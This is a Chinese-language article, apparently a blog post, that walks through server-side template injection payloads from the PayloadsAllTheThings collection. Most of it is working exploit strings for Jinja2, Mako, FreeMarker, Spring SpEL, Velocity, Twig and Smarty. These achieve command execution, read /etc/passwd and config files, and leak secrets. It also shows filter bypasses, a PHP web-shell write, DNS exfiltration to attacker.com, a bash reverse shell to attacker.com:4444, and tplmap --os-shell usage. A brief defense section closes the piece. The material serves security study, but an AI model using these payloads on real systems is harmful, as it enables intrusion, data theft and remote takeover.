PayloadsAllTheThings SSTI漏洞:服务器端模板注入Payload解析
概述
服务器端模板注入(Server-Side Template Injection,SSTI)是一种严重的安全漏洞,当攻击者能够将恶意输入注入到服务器端模板中时,可以导致任意代码执行。PayloadsAllTheThings项目提供了全面的SSTI攻击载荷和绕过技术,涵盖了多种编程语言和模板引擎。
SSTI攻击流程
多语言模板引擎Payload解析
Python模板引擎
Jinja2引擎Payload
# 基本注入检测
{{7*7}} # 返回49
{{config.items()}} # 显示配置信息
# 文件读取
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# 远程命令执行
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
# 最短RCE载荷
{{ lipsum.__globals__["os"].popen('id').read() }}
Django模板Payload
# 调试信息泄露
{% debug %}
# 密钥泄露
{{ messages.storages.0.signer.key }}
# 管理员信息泄露
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}
Mako模板Payload
# 直接访问os模块
${self.module.cache.util.os.system("id")}
# 多种访问路径
${self.__init__.__globals__['util'].os.system('id')}
${self.template.__init__.__globals__['os'].system('id')}
Java模板引擎
FreeMarker Payload
// 基本注入
${7*7}
#{7*7}
[=7*7]
// 代码执行
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
// 文件读取
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_file').toURL().openStream().readAllBytes()?join(" ")}
Spring SpEL Payload
// 基本表达式
${T(java.lang.Runtime).getRuntime().exec("whoami")}
// DNS外泄
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","attacker.com")}
// 会话属性修改
${pageContext.request.getSession().setAttribute("admin",true)}
Velocity Payload
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
PHP模板引擎
Twig Payload
// 基本注入
{{7*7}}
{{dump(app)}}
// 文件包含
{{include("wp-config.php")}}
// 代码执行
{{['id']|filter('system')}}
{{[0]|reduce('system','id')}}
{{['id']|map('system')|join}}
Smarty Payload
// 版本信息
{$smarty.version}
// 代码执行(已弃用)
{php}echo `id`;{/php}
// 文件写入
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
绕过技术分析
字符过滤绕过
# 绕过下划线过滤
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr("__class__")}}
# 绕过方括号过滤
{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}
# 十六进制编码绕过
{{request|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')}}
上下文无关Payload
# 不依赖特定上下文的Payload
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
检测与利用工具
自动化检测工具
| 工具名称 | 语言 | 主要功能 |
|---|---|---|
| TInjA | Java | 高效的SSTI扫描器,使用新型多语言polyglot |
| tplmap | Python | SSTI检测和利用工具,支持多种模板引擎 |
| SSTImap | Python | 基于tplmap的改进版,具有交互式界面 |
工具使用示例
# TInjA扫描
tinja url -u "http://example.com/?name=test" -H "Authorization: Bearer token"
# tplmap利用
python2.7 tplmap.py -u 'http://target.com/page?name=John*' --os-shell
# SSTImap交互模式
python3 sstimap.py -u 'https://example.com/page?name=test' -s
防御措施
输入验证与过滤
# 安全的模板渲染示例(Python)
from jinja2 import Template, Environment
env = Environment(autoescape=True)
template = env.from_string(safe_user_input)
沙箱环境配置
// FreeMarker沙箱配置
Configuration cfg = new Configuration(Configuration.VERSION_2_3_30);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
最小权限原则
- 限制模板引擎的访问权限
- 使用只读文件系统
- 禁用危险函数和类
实战案例
案例1:Jinja2 RCE利用
# 写入恶意配置文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.cfg', 'w').write('from subprocess import check_output\nRUNCMD = check_output\n') }}
# 加载配置并执行
{{ config.from_pyfile('/tmp/evil.cfg') }}
{{ config['RUNCMD']('/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"',shell=True) }}
案例2:Twig过滤器绕过
// 使用filter函数执行系统命令
{{['cat /etc/passwd']|filter('system')}}
// 使用map函数执行命令
{{['id']|map('system')|join}}
// 使用reduce函数
{{[0]|reduce('system','id')}}
总结
PayloadsAllTheThings项目提供了全面的SSTI攻击载荷库,涵盖了多种编程语言和模板引擎。通过深入分析这些Payload,安全研究人员可以更好地理解SSTI漏洞的原理、检测方法和防御措施。
关键要点
- 多引擎支持:项目支持Jinja2、Django、FreeMarker、Twig、Smarty等主流模板引擎
- 绕过技术:提供多种字符过滤和语法限制的绕过方法
- 实战价值:Payload经过实际测试,具有较高的利用成功率
- 教育意义:帮助开发者理解模板注入的风险和防御方法
学习建议
- 在可控环境中测试Payload
- 理解每种Payload的工作原理
- 关注模板引擎的安全更新
- 实施深度防御策略
通过系统学习PayloadsAllTheThings中的SSTI内容,安全专业人员可以提升漏洞发现和修复能力,有效保护Web应用程序安全。
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



